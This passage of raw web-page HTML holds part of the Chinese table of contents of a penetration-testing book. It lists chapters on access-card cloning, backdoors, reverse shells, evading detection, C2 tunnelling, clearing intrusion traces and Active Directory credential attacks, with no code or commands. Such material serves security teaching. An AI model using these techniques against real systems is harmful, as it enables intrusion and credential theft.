0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">5.3　能从内部听到我们吗  105</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">5.3.1　远程信息收集  105</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">5.3.2　门禁卡复制  106</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">5.3.3　现场信息收集  111</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">5.3.4　现场社会工程学  112</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">5.3.5　物理建筑绕过  112</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">5.4　技能测试  114</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">第6章　高级后渗透技术  116</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.1　后渗透概述  116</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.1.1　评估检测与响应能力并理解数据</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">泄露的影响  117</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.1.2　提升蓝队能力  117</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.2　如何维持访问、使用持久性机制和</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">创建后门  120</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.2.1　后门类型  120</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.2.2　反向Shell与正向Shell对比  127</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.2.3　在二进制文件中植入后门  131</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.2.4　使用代码混淆规避检测  133</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.2.5　系统级后门  135</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.2.6　内核级后门  138</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.2.7　硬件和固件后门  142</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.2.8　计划任务  143</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.2.9　新用户  143</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.3　C2与隐蔽通道  143</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.3.1　DNS隧道技术的工作原理  144</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.3.2　HTTP/HTTPS 隧道技术  146</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.3.3　非常规协议  146</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.3.4　其他命令与控制技术和工具  146</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.4　如何实施横向移动  148</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.5　合法工具与就地取材式攻击  151</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.5.1　PowerShell在后渗透任务中的</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">应用  151</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.5.2　PowerSploit和Empire框架  152</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.5.3　BloodHound  154</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.5.4　使用 Windows 管理规范执行后</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">渗透任务  155</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.5.5　Sysinternals与PsExec  155</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.5.6　使用 Windows 远程管理执行后</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">渗透任务  156</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.5.7　系统自带可执行文件、库文件和</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">实用脚本  156</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.6　后渗透权限提升  158</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.6.1　清除入侵痕迹的方法  159</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.6.2　隐写术  159</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">6.7　技能测试  162</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">第7章　AD与Linux环境  165</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.1　AD基础  165</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.1.1　集中式数据存储与高可用性  166</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.1.2　安全性  166</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.1.3　AD架构  168</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.1.4　AD信任关系  170</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.1.5　关键的AD协议与服务  172</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.2　Microsoft Entra ID和Azure  178</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.3　AD攻击技术  183</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.3.1　实验环境搭建  183</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.3.2　AD信息收集与枚举  185</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.3.3　密码喷洒和ASREPRoast</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">攻击  192</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.3.4　Windows AD评估中有用的LDAP查询  195</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.3.5　BloodHound功能强大  198</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.3.6　在AD环境中使用Responder</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">收集凭证  199</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.3.7　使用Secretsdump提取凭证  205</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.3.8　使用Lsassy从LSASS中提取</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">凭证  207</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.3.9　使用DonPAPI 攻击 Windows </span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">DPAPI  208</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.3.10　使用 Certipy 和 BloodHound 进行ADCS的信息收集与枚举  209</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.3.11　使用Certipy进行漏洞利用  211</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.3.12　滥用自主访问控制列表和访问</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box 